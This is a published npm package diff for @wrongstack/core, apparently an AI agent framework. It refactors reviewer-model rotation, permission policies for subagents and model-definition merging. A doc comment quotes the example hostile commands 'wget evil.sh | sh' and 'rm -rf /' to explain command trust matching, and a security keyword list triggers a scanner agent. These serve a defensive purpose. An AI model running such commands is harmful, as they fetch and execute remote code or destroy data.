@wrongstack/core 0.298.0 → 0.298.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -6839,7 +6839,7 @@ function trimKnownFingerprints(map, max) {
6839
6839
  map.delete(oldest);
6840
6840
  }
6841
6841
  }
6842
- function buildReviewerModelPool(provider, model, fallbackModels = []) {
6842
+ function buildReviewerModelPool(provider, model, fallbackModels = [], statusTracker) {
6843
6843
  const primaryProvider = provider.trim();
6844
6844
  const primaryModel = model.trim();
6845
6845
  const primaryRef = primaryProvider && primaryModel ? `${primaryProvider}/${primaryModel}` : "";
@@ -6854,12 +6854,20 @@ function buildReviewerModelPool(provider, model, fallbackModels = []) {
6854
6854
  if (seen.has(normalized)) continue;
6855
6855
  seen.add(ref);
6856
6856
  seen.add(normalized);
6857
+ if (statusTracker && !statusTracker.isAvailable(parsed.provider.trim(), parsed.model.trim())) {
6858
+ continue;
6859
+ }
6857
6860
  pool.push(normalized);
6858
6861
  }
6859
6862
  return pool;
6860
6863
  }
6861
- function selectRoundRobinReviewerAssignment(pool, cursor, fallbackProvider = "", fallbackModel = "") {
6862
- if (pool.length === 0) {
6864
+ function selectRoundRobinReviewerAssignment(pool, cursor, fallbackProvider = "", fallbackModel = "", statusTracker) {
6865
+ const filteredPool = statusTracker ? pool.filter((ref) => {
6866
+ const parsed2 = parseModelRef(ref);
6867
+ if (!parsed2.provider?.trim() || !parsed2.model.trim()) return false;
6868
+ return statusTracker.isAvailable(parsed2.provider.trim(), parsed2.model.trim());
6869
+ }) : pool;
6870
+ if (filteredPool.length === 0) {
6863
6871
  return {
6864
6872
  provider: fallbackProvider,
6865
6873
  model: fallbackModel,
@@ -6867,13 +6875,13 @@ function selectRoundRobinReviewerAssignment(pool, cursor, fallbackProvider = "",
6867
6875
  nextCursor: cursor + 1
6868
6876
  };
6869
6877
  }
6870
- const len = pool.length;
6878
+ const len = filteredPool.length;
6871
6879
  const idx = (cursor % len + len) % len;
6872
- const primaryRef = pool[idx];
6880
+ const primaryRef = filteredPool[idx];
6873
6881
  const parsed = parseModelRef(primaryRef);
6874
6882
  const provider = parsed.provider?.trim() || fallbackProvider;
6875
6883
  const model = parsed.model.trim() || fallbackModel;
6876
- const fallbackModels = [...pool.slice(idx + 1), ...pool.slice(0, idx)];
6884
+ const fallbackModels = [...filteredPool.slice(idx + 1), ...filteredPool.slice(0, idx)];
6877
6885
  return {
6878
6886
  provider,
6879
6887
  model,
@@ -6915,57 +6923,49 @@ function parseReviewSeverity(text) {
6915
6923
  const result = { critical: 0, high: 0, medium: 0 };
6916
6924
  if (!text) return result;
6917
6925
  for (const level of ["critical", "high", "medium"]) {
6918
- const countRe = new RegExp(`###\\s*${level}\\s*\\((\\d+)\\)`, "i");
6919
- const countMatch = text.match(countRe);
6926
+ const countMatch = text.match(new RegExp(`###\\s*${level}\\s*\\((\\d+)\\)`, "i"));
6920
6927
  if (countMatch?.[1]) {
6921
6928
  result[level] = Number.parseInt(countMatch[1], 10);
6922
6929
  continue;
6923
6930
  }
6924
- const sectionRe = new RegExp(`###\\s*${level}[^\\n]*\\n([\\s\\S]*?)(?=###|$)`, "i");
6925
- const sectionMatch = text.match(sectionRe);
6926
- if (sectionMatch?.[1]) {
6927
- const items = sectionMatch[1].match(/^\s*\d+\.\s/gm);
6928
- result[level] = items ? items.length : 0;
6929
- }
6931
+ const section = text.match(
6932
+ new RegExp(`###\\s*${level}[^\\n]*\\n([\\s\\S]*?)(?=###|$)`, "i")
6933
+ )?.[1];
6934
+ result[level] = section?.match(/^\s*\d+\.\s/gm)?.length ?? 0;
6930
6935
  }
6931
6936
  return result;
6932
6937
  }
6933
- var SECURITY_KEYWORDS = [
6934
- "injection",
6935
- "xss",
6936
- "csrf",
6937
- "ssrf",
6938
- "sql",
6939
- "secret",
6940
- "credential",
6941
- "password",
6942
- "api key",
6943
- "token",
6944
- "auth",
6945
- "shell injection",
6946
- "command injection",
6947
- "innerhtml",
6948
- "deserialization",
6949
- "path traversal",
6950
- "hardcoded",
6951
- "privilege",
6952
- "owasp"
6953
- ];
6954
6938
  function decideCascadeAgents(text, severities) {
6955
6939
  const agents = /* @__PURE__ */ new Set();
6956
- if (severities.critical > 0 || severities.high > 0) {
6957
- agents.add("bug-hunter");
6958
- }
6959
- const lower = text.toLowerCase();
6960
- const criticalHighRe = /###\s*(?:critical|high)[^\n]*\n([\s\S]*?)(?=###|$)/gi;
6961
- let section = criticalHighRe.exec(lower);
6962
- while (section !== null) {
6940
+ if (severities.critical > 0 || severities.high > 0) agents.add("bug-hunter");
6941
+ const securityKeywords = [
6942
+ "injection",
6943
+ "xss",
6944
+ "csrf",
6945
+ "ssrf",
6946
+ "sql",
6947
+ "secret",
6948
+ "credential",
6949
+ "password",
6950
+ "api key",
6951
+ "token",
6952
+ "auth",
6953
+ "shell injection",
6954
+ "command injection",
6955
+ "innerhtml",
6956
+ "deserialization",
6957
+ "path traversal",
6958
+ "hardcoded",
6959
+ "privilege",
6960
+ "owasp"
6961
+ ];
6962
+ const criticalHighSections = text.toLowerCase().matchAll(/###\s*(?:critical|high)[^\n]*\n([\s\S]*?)(?=###|$)/gi);
6963
+ for (const section of criticalHighSections) {
6963
6964
  const body = section[1] ?? "";
6964
- if (SECURITY_KEYWORDS.some((kw) => body.includes(kw))) {
6965
+ if (securityKeywords.some((keyword) => body.includes(keyword))) {
6965
6966
  agents.add("security-scanner");
6966
6967
  break;
6967
6968
  }
6968
- section = criticalHighRe.exec(lower);
6969
6969
  }
6970
6970
  return [...agents];
6971
6971
  }
@@ -7058,9 +7058,8 @@ function buildAutoReviewCommand(getConfig, getInFlightCount) {
7058
7058
  "Detects git-tracked file edits and dispatches review subagents",
7059
7059
  "with configurable provider/model/fallback.",
7060
7060
  "",
7061
- "When a review report contains findings at or above the cascadeOn",
7062
- "threshold, follow-up agents (security-scanner, bug-hunter) are",
7063
- "automatically spawned to investigate.",
7061
+ "Reports are persisted and shown as passive notifications.",
7062
+ "They never wake the leader or spawn mutating follow-up agents.",
7064
7063
  "",
7065
7064
  "Commands:",
7066
7065
  " /auto-review Show current status and config",
@@ -7075,11 +7074,8 @@ function buildAutoReviewCommand(getConfig, getInFlightCount) {
7075
7074
  " debounceMs debounce window (default 15000)",
7076
7075
  " maxFilesPerBatch max files per review (default 15)",
7077
7076
  " maxConcurrentReviews max parallel reviews (default 2)",
7078
- ' cascadeOn "off" | "critical" | "high" (default off)',
7079
- " Spawns security-scanner/bug-hunter when",
7080
- ' findings reach this severity. "high" fires',
7081
- ' on any High+ finding; "critical" only on Critical.',
7082
- " maxCascadeDepth max fix+re-review cycles (default 2, 0=off)"
7077
+ " cascadeOn off | critical | high (default off)",
7078
+ " maxCascadeDepth max fix+re-review cycles (default 2)"
7083
7079
  ].join("\n"),
7084
7080
  async run(args) {
7085
7081
  const cfg = getConfig();
@@ -7095,7 +7091,6 @@ function buildAutoReviewCommand(getConfig, getInFlightCount) {
7095
7091
  };
7096
7092
  }
7097
7093
  const inFlight = getInFlightCount();
7098
- const cascadeDesc = cfg.cascadeOn === "off" ? "disabled" : `on ${cfg.cascadeOn}+ \u2192 spawns security-scanner/bug-hunter`;
7099
7094
  return {
7100
7095
  message: [
7101
7096
  `\u{1F4CB} Auto Review \u2014 ${cfg.enabled ? "\u2705 enabled" : "\u23F8\uFE0F disabled"}`,
@@ -7106,7 +7101,7 @@ function buildAutoReviewCommand(getConfig, getInFlightCount) {
7106
7101
  ` Debounce: ${cfg.debounceMs} ms`,
7107
7102
  ` Max files: ${cfg.maxFilesPerBatch}`,
7108
7103
  ` Max parallel: ${cfg.maxConcurrentReviews}`,
7109
- ` Cascade: ${cascadeDesc}`,
7104
+ ` Cascade: ${cfg.cascadeOn === "off" ? "off" : `on ${cfg.cascadeOn}+ \u2192 spawns security-scanner/bug-hunter`}`,
7110
7105
  ` Max depth: ${cfg.maxCascadeDepth} re-review cycle(s)`,
7111
7106
  ` In-flight: ${inFlight} review(s)`,
7112
7107
  "",
@@ -8414,7 +8409,9 @@ function createChimeraPlugin() {
8414
8409
  api.log.info("[chimera] skipped \u2014 changed files already have reviews in progress");
8415
8410
  return;
8416
8411
  }
8417
- api.log.info(`[chimera] emitted review_needed event (${emittedBundle.files.length} files)`);
8412
+ api.log.info(
8413
+ `[chimera] emitted review_needed event (${emittedBundle.files.length} files)`
8414
+ );
8418
8415
  } catch (err) {
8419
8416
  api.log.warn(`[chimera] session.ended handler failed: ${toErrorMessage(err)}`);
8420
8417
  }
@@ -1,3 +1,4 @@
1
+ import type { ProviderModelStatusTracker } from '../coordination/provider-status-tracker.js';
1
2
  import type { Config } from '../types/config.js';
2
3
  import type { Plugin } from '../types/plugin.js';
3
4
  import type { CascadeAgentKind } from './chimera-plugin.js';
@@ -70,8 +71,15 @@ export interface ReviewerModelAssignment {
70
71
  *
71
72
  * Order is stable: configured primary first, then the fallback chain.
72
73
  * Entries must be `provider/model` (or parseable refs); bare blanks are dropped.
74
+ *
75
+ * When a {@link ProviderModelStatusTracker} is supplied, every entry that is
76
+ * currently `state: 'blocked'` (waiting-room / token-reset-limit room) is
77
+ * filtered out before the pool is returned. Without this filter, concurrent
78
+ * Chimera reviewers would re-spawn on a 429-stricken model on every round-
79
+ * robin turn and burn the entire chain instead of leaving the doomed model
80
+ * quarantined until the tracker re-admits it.
73
81
  */
74
- export declare function buildReviewerModelPool(provider: string, model: string, fallbackModels?: readonly string[]): string[];
82
+ export declare function buildReviewerModelPool(provider: string, model: string, fallbackModels?: readonly string[], statusTracker?: ProviderModelStatusTracker | undefined): string[];
75
83
  /**
76
84
  * Pick primary + fallback chain for the Nth concurrent reviewer via round-robin.
77
85
  *
@@ -79,28 +87,25 @@ export declare function buildReviewerModelPool(provider: string, model: string,
79
87
  * rotated so the former primary lands last (still available after rate limits).
80
88
  * The pool must be pre-filtered by {@link buildReviewerModelPool} so every
81
89
  * non-empty entry contains both a provider and a model.
90
+ *
91
+ * When a {@link ProviderModelStatusTracker} is supplied, the cursor advances
92
+ * over blocked entries too — a doomed entry is never picked as the primary,
93
+ * but the cursor saturates against the live pool so the next-after-blocked
94
+ * round inherits the rest of the unwalked chain instead of looping back to
95
+ * the head. Without the tracker, the cursor advances mod `pool.length`,
96
+ * which is the pre-waiting-room behavior.
82
97
  * Pure: the caller owns the cursor (typically a process-local counter).
83
98
  */
84
99
  export declare function selectRoundRobinReviewerAssignment(pool: readonly string[], cursor: number,
85
100
  /** Used only when the selected ref is somehow unparseable — defensive. */
86
- fallbackProvider?: string, fallbackModel?: string): ReviewerModelAssignment;
101
+ fallbackProvider?: string, fallbackModel?: string, statusTracker?: ProviderModelStatusTracker | undefined): ReviewerModelAssignment;
87
102
  export declare function resolveAutoReviewConfig(cfg: AutoReviewConfig, sessionConfig: Config): ResolvedAutoReviewConfig;
88
103
  export interface ParsedSeverities {
89
104
  critical: number;
90
105
  high: number;
91
106
  medium: number;
92
107
  }
93
- /**
94
- * Extract Critical/High/Medium finding counts from a Chimera review report.
95
- *
96
- * The report format (from llm/chimera-review.md) uses section headers like
97
- * `### Critical (2)`, `### High (1)`, `### Medium (3)`. We match the count
98
- * in parentheses. Falls back to counting `1.`, `2.` list-item markers under
99
- * a severity heading when no `(N)` is present (defensive — the prompt asks
100
- * for both, but LLMs sometimes omit the count).
101
- *
102
- * Returns all-zero when the text doesn't match (clean report or unparseable).
103
- */
108
+ /** Parse report counts for clean-vs-actionable classification. */
104
109
  export declare function parseReviewSeverity(text: string): ParsedSeverities;
105
110
  /**
106
111
  * Decide which follow-up cascade agents to spawn based on the review text.
@@ -0,0 +1,37 @@
1
+ /**
2
+ * Auto-approving PermissionPolicy used for subagents. Subagents run
3
+ * non-interactively under a director — they cannot answer permission
4
+ * prompts, so a non-YOLO policy on the leader would silently hang the
5
+ * delegated run on the first sensitive tool call. The user already
6
+ * authorized the delegation when they invoked the leader; subagents
7
+ * inherit that authorization automatically.
8
+ *
9
+ * Tool defaults of `permission: 'deny'` are still honored (this is a
10
+ * subagent capability override, not a deny-bypass).
11
+ *
12
+ * 2026-06+: Primary decision is now based on declared `Tool.capabilities`
13
+ * (capability allowlist / denylist model). The legacy name-based DENY set
14
+ * is kept only for backward compatibility with tools that have not yet
15
+ * declared capabilities.
16
+ *
17
+ * 2026-06-13+: Switched to allowlist-by-default. Only tools with explicitly
18
+ * allowed capabilities are auto-approved. Everything else is denied.
19
+ * Default allowed: fs.read, net.outbound (read-only, safe operations).
20
+ *
21
+ * Extracted from permission-policy.ts.
22
+ */
23
+ import type { PermissionDecision, PermissionPolicy, PermissionTrace } from '../types/permission.js';
24
+ import type { Tool } from '../types/tool.js';
25
+ export declare class AutoApprovePermissionPolicy implements PermissionPolicy {
26
+ private readonly allowedCapabilities;
27
+ constructor(allowedCapabilities?: readonly string[]);
28
+ private static isMcpTool;
29
+ evaluate(tool: Tool): Promise<PermissionDecision>;
30
+ trust(): Promise<void>;
31
+ deny(): Promise<void>;
32
+ denyOnce(): void;
33
+ allowOnce(): void;
34
+ explain(tool: Tool): Promise<PermissionTrace>;
35
+ reload(): Promise<void>;
36
+ }
37
+ //# sourceMappingURL=auto-approve-policy.d.ts.map
@@ -2140,7 +2140,68 @@ function isClearlyDestructiveBashCommand(command, projectRoot) {
2140
2140
  return false;
2141
2141
  }
2142
2142
 
2143
- // src/security/permission-policy.ts
2143
+ // src/security/auto-approve-policy.ts
2144
+ var AutoApprovePermissionPolicy = class _AutoApprovePermissionPolicy {
2145
+ allowedCapabilities;
2146
+ constructor(allowedCapabilities) {
2147
+ this.allowedCapabilities = allowedCapabilities ?? [
2148
+ ToolCapabilities.FS_READ,
2149
+ ToolCapabilities.NET_OUTBOUND
2150
+ ];
2151
+ }
2152
+ static isMcpTool(name) {
2153
+ return name.startsWith("mcp__");
2154
+ }
2155
+ async evaluate(tool) {
2156
+ const caps = tool.capabilities ?? [];
2157
+ const hasAllowedCap = caps.some((c) => this.allowedCapabilities.includes(c));
2158
+ const isMcp = _AutoApprovePermissionPolicy.isMcpTool(tool.name);
2159
+ const mcpProxyAllowed = this.allowedCapabilities.includes(ToolCapabilities.MCP_PROXY);
2160
+ const dangerousNotAllowed = getDangerousCapabilities(tool).filter(
2161
+ (c) => !this.allowedCapabilities.includes(c)
2162
+ );
2163
+ const blocked = tool.permission === "deny" || isMcp && !mcpProxyAllowed || !hasAllowedCap || dangerousNotAllowed.length > 0;
2164
+ if (blocked) {
2165
+ const reason = isMcp && !mcpProxyAllowed ? `MCP tool ${tool.name} is not auto-approved for subagents \u2014 ask the leader to allow mcp.proxy explicitly` : tool.permission === "deny" ? "tool default deny" : dangerousNotAllowed.length > 0 ? `tool requires un-granted dangerous capability (needs: ${dangerousNotAllowed.join(", ")}, allowed: ${this.allowedCapabilities.join(", ")})` : `tool lacks allowed capability (has: ${caps.join(", ") || "none"}, allowed: ${this.allowedCapabilities.join(", ")})`;
2166
+ return {
2167
+ permission: "deny",
2168
+ source: "subagent_guard",
2169
+ reason
2170
+ };
2171
+ }
2172
+ return { permission: "auto", source: "yolo" };
2173
+ }
2174
+ async trust() {
2175
+ }
2176
+ async deny() {
2177
+ }
2178
+ denyOnce() {
2179
+ }
2180
+ allowOnce() {
2181
+ }
2182
+ async explain(tool) {
2183
+ const decision = await this.evaluate(tool);
2184
+ return {
2185
+ toolName: tool.name,
2186
+ subject: null,
2187
+ steps: [
2188
+ {
2189
+ rule: "subagent auto",
2190
+ matched: decision.permission === "auto",
2191
+ decision: decision.permission,
2192
+ source: decision.source,
2193
+ detail: decision.reason ?? `subagent policy: ${decision.permission}`
2194
+ }
2195
+ ],
2196
+ winnerIndex: 0,
2197
+ decision
2198
+ };
2199
+ }
2200
+ async reload() {
2201
+ }
2202
+ };
2203
+
2204
+ // src/security/permission-helpers.ts
2144
2205
  function matchesTrust(patterns, subject) {
2145
2206
  return patterns.includes(subject) || matchAny(patterns, subject);
2146
2207
  }
@@ -2235,6 +2296,8 @@ function shellCommandReadsSensitivePath(command) {
2235
2296
  }
2236
2297
  return false;
2237
2298
  }
2299
+
2300
+ // src/security/permission-policy.ts
2238
2301
  var DefaultPermissionPolicy = class {
2239
2302
  policy = {};
2240
2303
  loaded = false;
@@ -2977,65 +3040,6 @@ var DefaultPermissionPolicy = class {
2977
3040
  return void 0;
2978
3041
  }
2979
3042
  };
2980
- var AutoApprovePermissionPolicy = class _AutoApprovePermissionPolicy {
2981
- allowedCapabilities;
2982
- constructor(allowedCapabilities) {
2983
- this.allowedCapabilities = allowedCapabilities ?? [
2984
- ToolCapabilities.FS_READ,
2985
- ToolCapabilities.NET_OUTBOUND
2986
- ];
2987
- }
2988
- static isMcpTool(name) {
2989
- return name.startsWith("mcp__");
2990
- }
2991
- async evaluate(tool) {
2992
- const caps = tool.capabilities ?? [];
2993
- const hasAllowedCap = caps.some((c) => this.allowedCapabilities.includes(c));
2994
- const isMcp = _AutoApprovePermissionPolicy.isMcpTool(tool.name);
2995
- const mcpProxyAllowed = this.allowedCapabilities.includes(ToolCapabilities.MCP_PROXY);
2996
- const dangerousNotAllowed = getDangerousCapabilities(tool).filter(
2997
- (c) => !this.allowedCapabilities.includes(c)
2998
- );
2999
- const blocked = tool.permission === "deny" || isMcp && !mcpProxyAllowed || !hasAllowedCap || dangerousNotAllowed.length > 0;
3000
- if (blocked) {
3001
- const reason = isMcp && !mcpProxyAllowed ? `MCP tool ${tool.name} is not auto-approved for subagents \u2014 ask the leader to allow mcp.proxy explicitly` : tool.permission === "deny" ? "tool default deny" : dangerousNotAllowed.length > 0 ? `tool requires un-granted dangerous capability (needs: ${dangerousNotAllowed.join(", ")}, allowed: ${this.allowedCapabilities.join(", ")})` : `tool lacks allowed capability (has: ${caps.join(", ") || "none"}, allowed: ${this.allowedCapabilities.join(", ")})`;
3002
- return {
3003
- permission: "deny",
3004
- source: "subagent_guard",
3005
- reason
3006
- };
3007
- }
3008
- return { permission: "auto", source: "yolo" };
3009
- }
3010
- async trust() {
3011
- }
3012
- async deny() {
3013
- }
3014
- denyOnce() {
3015
- }
3016
- allowOnce() {
3017
- }
3018
- async explain(tool) {
3019
- const decision = await this.evaluate(tool);
3020
- return {
3021
- toolName: tool.name,
3022
- subject: null,
3023
- steps: [
3024
- {
3025
- rule: "subagent auto",
3026
- matched: decision.permission === "auto",
3027
- decision: decision.permission,
3028
- source: decision.source,
3029
- detail: decision.reason ?? `subagent policy: ${decision.permission}`
3030
- }
3031
- ],
3032
- winnerIndex: 0,
3033
- decision
3034
- };
3035
- }
3036
- async reload() {
3037
- }
3038
- };
3039
3043
 
3040
3044
  // src/security/readonly-permission-policy.ts
3041
3045
  import * as path4 from "node:path";
@@ -0,0 +1,93 @@
1
+ /**
2
+ * Pure helpers for permission policy evaluation — trust-pattern matching,
3
+ * tool fingerprinting, and sensitive-read detection.
4
+ *
5
+ * Extracted from permission-policy.ts. No class state, no I/O.
6
+ */
7
+ import type { Tool } from '../types/tool.js';
8
+ /**
9
+ * Match a computed subject against stored trust patterns.
10
+ *
11
+ * Exact string equality is checked FIRST, before glob compilation. Subjects are
12
+ * glob-escaped at the source (`escapeGlobSubject` turns `* ? [ ]` into `\* \? \[
13
+ * \]`), and a stored "always"-trust pattern is just a prior subject — so for an
14
+ * identical command the pattern and the subject are byte-for-byte equal. The
15
+ * glob matcher alone could not confirm that: `compileGlob` does not treat a
16
+ * backslash as an escape outside character classes, so an escaped `\[`/`\]` is
17
+ * parsed as a character-class delimiter and a command like `[ -f x ]` or
18
+ * `grep "[0-9]"` never re-matched its own trust entry — re-prompting forever
19
+ * even after the user chose "always" (#15). Exact equality is also strictly
20
+ * tighter than a glob, so this never widens what a pattern authorizes; genuine
21
+ * wildcard patterns (e.g. a user-authored `git *`) still fall through to glob.
22
+ */
23
+ export declare function matchesTrust(patterns: string[], subject: string): boolean;
24
+ /**
25
+ * Match a trust pattern against a shell command line, for ALLOW decisions only
26
+ * (WS-047).
27
+ *
28
+ * `matchesTrust` compiles `*` to `[^/]*`, which crosses `;`, `&` and `|`. On a
29
+ * path that is right; on a command it means a user who wrote `git *` also
30
+ * authorized `git status; wget evil.sh | sh`. `matchAnyCommand` stops the
31
+ * wildcard at shell separators, so the pattern authorizes what it appears to.
32
+ *
33
+ * DELIBERATELY NOT used for deny. This matcher is strictly narrower, and
34
+ * narrowing a deny pattern un-blocks whatever falls outside it: a deny of
35
+ * `git *` must keep matching `git status; rm -rf /`, because the user's intent
36
+ * there is "no git-shaped command gets through", not "only well-formed ones".
37
+ * Narrower is safer for allow and more dangerous for deny — hence two call
38
+ * sites with two matchers rather than one shared helper that picks.
39
+ *
40
+ * Exact equality is kept first for the same reason as `matchesTrust`: a stored
41
+ * "always" pattern is a prior subject, and glob-escaped brackets do not
42
+ * round-trip through the compiler (#15).
43
+ */
44
+ export declare function matchesCommandTrust(patterns: string[], subject: string): boolean;
45
+ /**
46
+ * True when this tool's permission subject is a shell command line rather than
47
+ * a path, url, or name — i.e. when the stricter wildcard rules apply.
48
+ */
49
+ export declare function hasShellSubject(tool: Tool): boolean;
50
+ /**
51
+ * Reason a persistent "always allow" cannot be recorded for this call, or
52
+ * `undefined` when it can (WS-046).
53
+ *
54
+ * A stored trust pattern is only ever consulted as
55
+ * `entry.allow && subject && matchesTrust(entry.allow, subject)`. When the tool
56
+ * produces no subject, that condition can never be true — so `trust()` with the
57
+ * fallback `pattern: tool.name` writes an entry that is dead on arrival.
58
+ *
59
+ * The user experience of that bug is the damaging part. They pick "always
60
+ * allow", are asked again on the very next identical call, conclude the feature
61
+ * is broken, and reach for the one thing that does work: a blanket
62
+ * `{"exec": {"auto": true}}`. A silent no-op does not just fail to help — it
63
+ * actively trains people into the widest possible grant.
64
+ *
65
+ * So the option is refused with a stated reason instead of accepted and
66
+ * discarded. Exported so a UI can hide the choice rather than offer one that
67
+ * cannot be honoured.
68
+ */
69
+ export declare function alwaysAllowUnavailableReason(tool: Tool, input: unknown): string | undefined;
70
+ /**
71
+ * Fingerprint of the tool fields a permission decision actually depends on
72
+ * (WS-058).
73
+ *
74
+ * The eval cache was keyed on tool NAME plus subject, so a cached verdict
75
+ * outlived the tool definition it was computed from. `ToolRegistry.wrap()`
76
+ * replaces a tool in place and is reachable from the plugin API, so a tool
77
+ * tightened to `permission: 'deny'` mid-session would keep being served the
78
+ * `auto` decided under its previous definition. The cache check also runs
79
+ * BEFORE the tool-default-deny branch, so nothing downstream re-checked.
80
+ *
81
+ * Including these fields in the key means a redefined tool misses the cache
82
+ * and is re-evaluated, rather than inheriting a verdict that no longer
83
+ * describes it. Capabilities are included because the dangerous-capability
84
+ * branches read them; they are short, sorted lists. The tuple is
85
+ * JSON-serialized so separators inside a field value (e.g. a `,` or `|`
86
+ * in a capability string) cannot collide with the delimiters between
87
+ * fields.
88
+ */
89
+ export declare function permissionFingerprint(tool: Tool): string;
90
+ export declare function shellCommandLineFromInput(input: unknown): string | undefined;
91
+ export declare function inputPathLooksSensitive(input: unknown): boolean;
92
+ export declare function shellCommandReadsSensitivePath(command: string): boolean;
93
+ //# sourceMappingURL=permission-helpers.d.ts.map
@@ -3,26 +3,8 @@ import type { InputReader } from '../types/input-reader.js';
3
3
  import type { PermissionDecision, PermissionPolicy, PermissionTrace } from '../types/permission.js';
4
4
  import type { Tool } from '../types/tool.js';
5
5
  import { type TrustPolicyDiagnostic } from './permission-policy-schema.js';
6
- /**
7
- * Reason a persistent "always allow" cannot be recorded for this call, or
8
- * `undefined` when it can (WS-046).
9
- *
10
- * A stored trust pattern is only ever consulted as
11
- * `entry.allow && subject && matchesTrust(entry.allow, subject)`. When the tool
12
- * produces no subject, that condition can never be true — so `trust()` with the
13
- * fallback `pattern: tool.name` writes an entry that is dead on arrival.
14
- *
15
- * The user experience of that bug is the damaging part. They pick "always
16
- * allow", are asked again on the very next identical call, conclude the feature
17
- * is broken, and reach for the one thing that does work: a blanket
18
- * `{"exec": {"auto": true}}`. A silent no-op does not just fail to help — it
19
- * actively trains people into the widest possible grant.
20
- *
21
- * So the option is refused with a stated reason instead of accepted and
22
- * discarded. Exported so a UI can hide the choice rather than offer one that
23
- * cannot be honoured.
24
- */
25
- export declare function alwaysAllowUnavailableReason(tool: Tool, input: unknown): string | undefined;
6
+ export { AutoApprovePermissionPolicy } from './auto-approve-policy.js';
7
+ export { alwaysAllowUnavailableReason, matchesTrust, matchesCommandTrust, hasShellSubject, permissionFingerprint, shellCommandLineFromInput, inputPathLooksSensitive, shellCommandReadsSensitivePath, } from './permission-helpers.js';
26
8
  export interface PermissionPolicyOptions {
27
9
  trustFile: string;
28
10
  yolo?: boolean | undefined;
@@ -160,36 +142,4 @@ export declare class DefaultPermissionPolicy implements PermissionPolicy {
160
142
  explain(tool: Tool, input: unknown, ctx: Context): Promise<PermissionTrace>;
161
143
  private findNamespaceEntry;
162
144
  }
163
- /**
164
- * Auto-approving PermissionPolicy used for subagents. Subagents run
165
- * non-interactively under a director — they cannot answer permission
166
- * prompts, so a non-YOLO policy on the leader would silently hang the
167
- * delegated run on the first sensitive tool call. The user already
168
- * authorized the delegation when they invoked the leader; subagents
169
- * inherit that authorization automatically.
170
- *
171
- * Tool defaults of `permission: 'deny'` are still honored (this is a
172
- * subagent capability override, not a deny-bypass).
173
- *
174
- * 2026-06+: Primary decision is now based on declared `Tool.capabilities`
175
- * (capability allowlist / denylist model). The legacy name-based DENY set
176
- * is kept only for backward compatibility with tools that have not yet
177
- * declared capabilities.
178
- *
179
- * 2026-06-13+: Switched to allowlist-by-default. Only tools with explicitly
180
- * allowed capabilities are auto-approved. Everything else is denied.
181
- * Default allowed: fs.read, net.outbound (read-only, safe operations).
182
- */
183
- export declare class AutoApprovePermissionPolicy implements PermissionPolicy {
184
- private readonly allowedCapabilities;
185
- constructor(allowedCapabilities?: readonly string[]);
186
- private static isMcpTool;
187
- evaluate(tool: Tool): Promise<PermissionDecision>;
188
- trust(): Promise<void>;
189
- deny(): Promise<void>;
190
- denyOnce(): void;
191
- allowOnce(): void;
192
- explain(tool: Tool): Promise<PermissionTrace>;
193
- reload(): Promise<void>;
194
- }
195
145
  //# sourceMappingURL=permission-policy.d.ts.map
@@ -6216,13 +6216,32 @@ function inlineDefinition(model) {
6216
6216
  if (maxOutput !== void 0) definition.maxOutput = maxOutput;
6217
6217
  const capabilities = readCapabilities(model);
6218
6218
  if (capabilities) definition.capabilities = capabilities;
6219
+ const { id: _id, ...rest } = model;
6220
+ if (Object.keys(rest).length > 0) {
6221
+ definition.modelsDev = rest;
6222
+ }
6219
6223
  return definition;
6220
6224
  }
6221
6225
  function mergeDefinitions(base, patch) {
6226
+ const mergedModelsDev = (() => {
6227
+ if (!base?.modelsDev && !patch.modelsDev) return void 0;
6228
+ const baseMd = base?.modelsDev ?? {};
6229
+ const patchMd = patch.modelsDev ?? {};
6230
+ const result = { ...baseMd, ...patchMd };
6231
+ for (const nestedKey of ["limit", "cost", "modalities"]) {
6232
+ const bn = baseMd?.[nestedKey];
6233
+ const pn = patchMd?.[nestedKey];
6234
+ if (bn || pn) {
6235
+ result[nestedKey] = { ...bn ?? {}, ...pn ?? {} };
6236
+ }
6237
+ }
6238
+ return result;
6239
+ })();
6222
6240
  return {
6223
6241
  ...base,
6224
6242
  ...patch,
6225
- ...base?.capabilities || patch.capabilities ? { capabilities: { ...base?.capabilities, ...patch.capabilities } } : {}
6243
+ ...base?.capabilities || patch.capabilities ? { capabilities: { ...base?.capabilities, ...patch.capabilities } } : {},
6244
+ ...mergedModelsDev ? { modelsDev: mergedModelsDev } : {}
6226
6245
  };
6227
6246
  }
6228
6247
  function normalizeInlineProviderModels(config, warn) {
@@ -6630,7 +6649,7 @@ var CONFIG_BEHAVIOR_DEFAULTS = {
6630
6649
  // DEFAULT_STATUSLINE_MODE (packages/tui/src/components/settings-picker-model.ts).
6631
6650
  statuslineMode: "minimum",
6632
6651
  thinkingWord: DEFAULT_TUI_THINKING_WORD,
6633
- showAgentSwarmPanel: true
6652
+ showAgentSwarmPanel: "bottom"
6634
6653
  },
6635
6654
  circuitBreaker: { ...DEFAULT_CIRCUIT_BREAKER_CONFIG },
6636
6655
  modelRuntime: {